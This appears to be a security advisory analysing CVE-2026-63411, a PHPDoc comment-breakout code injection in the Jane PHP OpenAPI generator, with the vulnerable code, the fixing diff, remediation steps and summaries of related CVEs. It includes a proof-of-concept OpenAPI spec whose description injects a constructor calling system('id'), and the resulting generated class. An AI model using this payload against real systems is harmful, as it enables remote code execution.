Nov 19, 2026·9 min read·1 visit
Jane PHP prior to version 7.12.0 fails to sanitize OpenAPI parameter descriptions and names before emitting them into PHPDoc comment blocks. An attacker supplying a crafted OpenAPI specification containing the '*/' sequence can break out of the docblock and inject an arbitrary class constructor, achieving remote code execution when the generated SDK client is instantiated.
CVE-2026-63411 (GHSA-xwcw-j52r-34x4) is a remote code execution vulnerability in the Jane PHP code generation framework (janephp/janephp), specifically affecting the jane-php/open-api-3 component prior to version 7.12.0. The generator constructs PHP docblocks using unsanitized parameter names and descriptions extracted directly from OpenAPI specifications. By embedding the comment closing sequence (*/) followed by valid PHP syntax inside an OpenAPI description or parameter name, an attacker can break out of the PHPDoc context and inject executable code directly into the generated class body. When the consuming application instantiates the generated client or endpoint class, an injected __construct() method executes arbitrary PHP code under the privileges of the host runtime.
Jane PHP (janephp/janephp) is an open-source code generation suite for the PHP ecosystem that compiles JSON Schema and OpenAPI specifications into strongly typed PHP data models and HTTP client SDKs. The jane-php/open-api-3 package parses OpenAPI 3.0 definitions and emits complete PHP classes representing endpoints, data transfer objects, and API clients. These tools are commonly integrated into automated CI/CD build pipelines, multi-tenant API integration platforms, and developer workflows that ingest external API schemas.
CVE-2026-63411 (also tracked as GitHub Security Advisory GHSA-xwcw-j52r-34x4) is a Code Injection vulnerability classified under CWE-94 (Improper Control of Generation of Code) and CWE-116 (Improper Encoding or Escaping of Output). While Jane PHP relies on the nikic/php-parser library to construct Abstract Syntax Trees (AST) for safe emission of PHP statements and expressions, AST nodes representing PHPDoc comments (PhpParser\Comment\Doc) are treated as raw strings during pretty-printing.
Prior to version 7.12.0, the OpenAPI 3 generator interpolated parameter names and descriptions from the input specification directly into PHPDoc comment strings without verifying or escaping the block comment termination sequence (*/). Consequently, any untrusted or externally modified OpenAPI specification containing */ prematurely closes the docblock during file compilation.
Because method docblocks reside directly inside the class declaration scope, tokens immediately following the */ breakout sequence are parsed by the PHP engine as first-class class members. An attacker can inject a public function __construct() method into the generated Client or Endpoint class, causing arbitrary PHP code execution as soon as the consuming application instantiates the generated class.
The root cause of CVE-2026-63411 lies in how Jane PHP's generator classes construct documentation blocks before attaching them to nikic/php-parser statement nodes. When nikic/php-parser generates PHP source code from an AST, it enforces structural syntax validity for class names, method signatures, and string literals. However, docblocks attached via the comments attribute on an AST node are emitted verbatim into the output stream without lexical validation.
In src/Component/OpenApi3/Generator/Parameter/NonBodyParameterGenerator.php, the generateMethodDocParameter and generateOptionDocParameter methods build @param annotations and configuration array documentation for query, header, path, and cookie parameters. The generator extracts the name and description attributes from the parsed OpenAPI Parameter object and passes them directly to sprintf().
When the PHP lexer tokenizes the resulting source file, it enters the T_DOC_COMMENT state upon encountering /**. The lexer remains in this state until it encounters the first literal occurrence of */. Because the generator does not neutralize */ within the user-supplied strings, the lexer exits the T_DOC_COMMENT state prematurely and transitions back to the standard class body parsing state (ST_IN_SCRIPTING).
This exact pattern of unsanitized docblock formatting was replicated across multiple generator components in the Jane PHP monorepo. In addition to jane-php/open-api-3, identical code paths existed in jane-php/open-api-2, jane-php/open-api-31, and jane-php/json-schema (tracked concurrently under GHSA-x9xr-53qx-9qcf and GHSA-q8v2-3j4h-xg2p), affecting model property generators, getter/setter generators, and endpoint constructor traits.
In versions prior to 7.12.0, src/Component/OpenApi3/Generator/Parameter/NonBodyParameterGenerator.php formatted parameter documentation using raw string interpolation. Both the camelized parameter name and the raw description string were inserted directly into the docblock line:
// Vulnerable code in src/Component/OpenApi3/Generator/Parameter/NonBodyParameterGenerator.php
public function generateMethodDocParameter($parameter, Context $context, string $operationName): string
{
// ... type resolution logic ...
return rtrim(\sprintf(
' * @param %s $%s %s',
$type,
$this->getInflector()->camelize($parameter->getName()),
$parameter->getDescription() ?: ''
));
}
public function generateOptionDocParameter(Parameter $parameter): string
{
// ... type resolution logic ...
$description = implode("\n", array_map(rtrim(...), explode("\n", $parameter->getDescription() ?: '')));
return rtrim(
\sprintf(
' * "%s"%s: %s%s',
$parameter->getName(),
$parameter->getRequired() ? '' : '?',
$type,
$description !== '' ? ', //' . $description : ','
)
);
}Commit 0ea379deab5689475d62653b408de62ad3611c7a (Pull Request #960) remediates the flaw by wrapping all external schema strings in str_replace('*/', '*\/', ...) before inserting them into docblock templates. In multiline descriptions, the patch applies the replacement to each line via array_map:
--- a/src/Component/OpenApi3/Generator/Parameter/NonBodyParameterGenerator.php
+++ b/src/Component/OpenApi3/Generator/Parameter/NonBodyParameterGenerator.php
@@ -145,7 +145,7 @@ public function generateMethodDocParameter($parameter, Context $context, string
$type = implode('|', $this->convertParameterType($parameter->getSchema()));
}
- return rtrim(\sprintf(' * @param %s $%s %s', $type, $this->getInflector()->camelize($parameter->getName()), $parameter->getDescription() ?: ''));
+ return rtrim(\sprintf(' * @param %s $%s %s', $type, str_replace('*/', '*\\/', $this->getInflector()->camelize($parameter->getName())), str_replace('*/', '*\\/', $parameter->getDescription() ?: '')));
}
public function generateOptionDocParameter(Parameter $parameter): string
@@ -156,12 +156,12 @@ public function generateOptionDocParameter(Parameter $parameter): string
$type = implode('|', $this->convertParameterType($parameter->getSchema()));
}
- $description = implode("\n", array_map(rtrim(...), explode("\n", $parameter->getDescription() ?: '')));
+ $description = implode("\n", array_map(fn (string $line): string => str_replace('*/', '*\\/', rtrim($line)), explode("\n", $parameter->getDescription() ?: '')));
return rtrim(
\sprintf(
' * "%s"%s: %s%s',
- $parameter->getName(),
+ str_replace('*/', '*\\/', $parameter->getName()),
$parameter->getRequired() ? '' : '?',
$type,
$description !== '' ? ', //' . $description : ','The patch applies the same str_replace('*/', '*\/', ...) sanitization across all sibling generators in the repository, including GetConstructorTrait.php, BodyParameterGenerator.php, PropertyGenerator.php, and GetterSetterGenerator.php.
> [!NOTE]
> In PHP lexical analysis, a T_DOC_COMMENT token is only terminated by the exact two-byte sequence */. Replacing */ with *\/ inserts a backslash between the asterisk and the forward slash, completely preventing the PHP lexer from recognizing the sequence as a comment terminator while remaining legible in IDEs and static analysis tools.
Assessing fix completeness: Because PHP docblocks do not process escape sequences like \*/ (where an attacker might attempt to escape the backslash itself via **/\/), substituting */ with *\/ is deterministic and cannot be bypassed via preceding backslashes. The patch comprehensively covers parameter names, descriptions, endpoint constructor documentation, and JSON Schema model properties.
Exploiting CVE-2026-63411 requires an application or build system using Jane PHP (< 7.12.0) to process an attacker-influenced OpenAPI specification. No authentication or special flags are required during code generation. The attack targets the two-stage lifecycle of SDK generation and runtime instantiation.
In the first stage, the attacker crafts an OpenAPI 3.0 JSON or YAML document containing a payload inside a parameter's description field. As demonstrated in the official regression test (IssuePhpDocInjectionRegressionTest.php) added in commit 0ea379deab5689475d62653b408de62ad3611c7a, the payload uses */ to exit the comment, declares a class constructor containing arbitrary PHP code, and concludes with /* to open a new comment that consumes the remainder of the original docblock:
{
"openapi": "3.0.2",
"info": {
"title": "Exploit PoC",
"version": "1.0.0"
},
"paths": {
"/items": {
"get": {
"operationId": "getItems",
"parameters": [
{
"name": "search",
"in": "query",
"required": true,
"schema": {
"type": "string"
},
"description": "Filter search */ public function __construct(){ system('id'); } /*"
}
],
"responses": {
"200": {
"description": "OK"
}
}
}
}
}
}In the second stage, when jane-openapi generate compiles this specification, it produces a PHP class where the injected string is placed directly above the getItems method definition:
namespace Generated;
class Client
{
/**
* @param string $search Filter search */ public function __construct(){ system('id'); } /*
*
* @return Response
*/
public function getItems(string $search): Response
{
// generated method body
}
}Because the generated Client class does not otherwise define a __construct() method with conflicting visibility, the resulting file is syntactically valid PHP. The trailing /* pairs cleanly with the original closing */ before public function getItems. As soon as the consuming application instantiates the client (e.g., new \Generated\Client()), the PHP runtime invokes the injected __construct() method and executes system('id').
Successful exploitation of CVE-2026-63411 grants unauthenticated remote code execution within the context of the PHP process that loads and instantiates the generated SDK. Depending on the deployment architecture, this compromises either the CI/CD build runner (if post-generation tests or static analysis tools instantiate or execute the code) or the production application server.
An attacker achieving code execution in the PHP runtime can read environment variables containing API keys and database credentials, modify application source files, pivot to internal network services, or establish persistent backdoors. The authoritative CVSS v4.0 base score is 9.3 (Critical) with the vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N.
The CVSS vector reflects that the attack vector is Network (AV:N) with Low attack complexity (AC:L) and no privileges or user interaction required (PR:N/UI:N) in automated ingestion pipelines. Confidentiality, Integrity, and Availability impacts to the vulnerable system are all rated High (VC:H/VI:H/VA:H).
Threat intelligence metrics indicate an EPSS score of 0.00312 (24.63rd percentile), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The relatively low EPSS score is typical for build-time code generators, which are exploited through supply chain poisoning or B2B schema ingestion features rather than indiscriminate mass scanning over the public internet.
To remediate CVE-2026-63411, upgrade janephp/janephp or individual sub-packages (jane-php/open-api-3, jane-php/open-api-2, jane-php/open-api-31, jane-php/json-schema) to version 7.12.0 or later via Composer:
composer require jane-php/open-api-3:^7.12.0> [!WARNING]
> Upgrading the Composer dependency alone does not fix previously generated PHP code. After upgrading to version 7.12.0, you must re-run the Jane code generator (vendor/bin/jane-openapi generate) across all schemas and commit the newly generated classes to replace any potentially tainted files.
If an immediate upgrade to version 7.12.0 is not feasible, implement a pre-processing validation step in the build pipeline that scans incoming OpenAPI JSON and YAML specifications and rejects or strips any occurrence of the */ sequence within description, summary, or name fields prior to invoking the generator.
Security teams should also audit existing generated SDK directories for indicators of compromise. Verify that no unexpected constructors or execution primitives exist within generated client and endpoint directories by running static checks such as grep -rn "function __construct" generated/ and reviewing the git diff history of generated code repositories.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
jane-php/open-api-3 janephp | < 7.12.0 | 7.12.0 |
janephp/janephp janephp | < 7.12.0 | 7.12.0 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-63411 (GHSA-xwcw-j52r-34x4) |
| CWE Classification | CWE-94 (Code Injection) / CWE-116 (Improper Escaping) |
| CVSS v4.0 Score | 9.3 Critical (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) |
| EPSS Score | 0.31% (24.63rd Percentile) |
| Affected Component | janephp/janephp (jane-php/open-api-3) < 7.12.0 |
| Attack Vector | PHPDoc Comment Breakout (*/) via Malicious OpenAPI Specification |
| Impact | Remote Code Execution upon Generated Client Instantiation |
| CISA KEV Status | Not Listed |
The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
CVE-2026-63413 is a code injection vulnerability in the Jane PHP OpenAPI 3 SDK generator (jane-php/open-api-3) prior to version 7.12.0. The vulnerability occurs because the generator interpolates OpenAPI header and query parameter names directly into generated PHPDoc comment blocks without sanitizing comment closing delimiters (*/). An attacker who supplies or modifies an OpenAPI specification can break out of the docblock context and inject arbitrary PHP methods, such as a class constructor, into the generated Client or Endpoint class body. When the consuming application instantiates the generated SDK, the injected code executes with the privileges of the host PHP process.
CVE-2026-63412 is a code injection vulnerability in the Jane PHP library suite (affecting jane-php/open-api-3, jane-php/open-api-2, jane-php/open-api-31, and jane-php/json-schema) prior to version 7.12.0. The flaw occurs during the automated generation of PHP client SDKs and data models from OpenAPI specifications. While Jane uses an Abstract Syntax Tree (AST) for safe generation of standard PHP tokens, it constructs PHPDoc comments via raw string interpolation without neutralizing multi-line comment closing delimiters (*/). An attacker who provides or modifies an OpenAPI specification can inject a closing comment sequence inside a query parameter name, escaping the docblock context and writing arbitrary PHP code directly into the class body of generated endpoints or clients. When the consuming application instantiates the generated class, injected methods such as __construct() execute automatically, resulting in remote code execution.
CVE-2026-58214 is an incorrect authorization vulnerability (CWE-863) in the MQTT bridge implementation of NATS Server. The vulnerability results from an incomplete fix for CVE-2026-33217 within the subscription processing routine in server/mqtt.go. Because internal delivery subscriptions bypass standard account-level allow-list validation in canSubscribe, the MQTT session manager relies on explicit prefix filtering in processSubs to prevent clients from subscribing to internal broker subjects. Affected versions fail to validate incoming MQTT subscription filters against the internal QoS 2 PubRel delivery prefix ($MQTT.deliver.pubrel.), allowing authenticated MQTT clients to subscribe to internal operational subjects and monitor QoS 2 protocol metadata across all sessions within the same NATS account.
CVE-2026-69155 (GHSA-x277-3wcg-g9r2) is a stored cross-site scripting (XSS) vulnerability in Atomic Server versions 0.30.0 prior to 0.40.3. The vulnerability resides in the HTTP file-download handler (server/src/handlers/download.rs), which serves user-uploaded files with an inline Content-Disposition and attacker-controlled MIME types such as text/html or image/svg+xml. Because the endpoint lacks X-Content-Type-Options: nosniff and Content-Security-Policy restrictions, an authenticated user with upload privileges can store malicious JavaScript that executes within a victim's browser in the primary application origin. Executing code in this context grants access to non-HttpOnly session cookies and unencrypted Ed25519 cryptographic private keys stored in IndexedDB, leading to full account takeover.
CVE-2026-69156 is an authenticated path traversal and arbitrary file read vulnerability in Ontola Atomic Server versions 0.30.0 prior to 0.40.3. The flaw arises from a failure to restrict server-managed properties during Commit ingestion in lib/src/commit.rs, combined with unsanitized filesystem path construction in the /download endpoint handler in server/src/handlers/download.rs. An authenticated Agent can assign an arbitrary relative or absolute filesystem path to the internalId property of an owned resource and retrieve the target file via the download endpoint, exposing the server configuration file (config.toml) and the root Agent ED25519 private key.
CVE-2026-69157 (GHSA-pfwx-xjp4-qxcj) is a critical missing authentication vulnerability (CWE-306) affecting Atomic Server versions 0.29.0 through 0.40.2. During initial deployment, the server exposes an unauthenticated /setup endpoint that generates an invite token granting root write permissions across the entire Drive. Because the invite redemption handler discards the redeemer identity, an unauthenticated remote attacker can intercept or request this setup invite on an unclaimed instance, register an arbitrary Agent public key, and assume full administrative control over the database.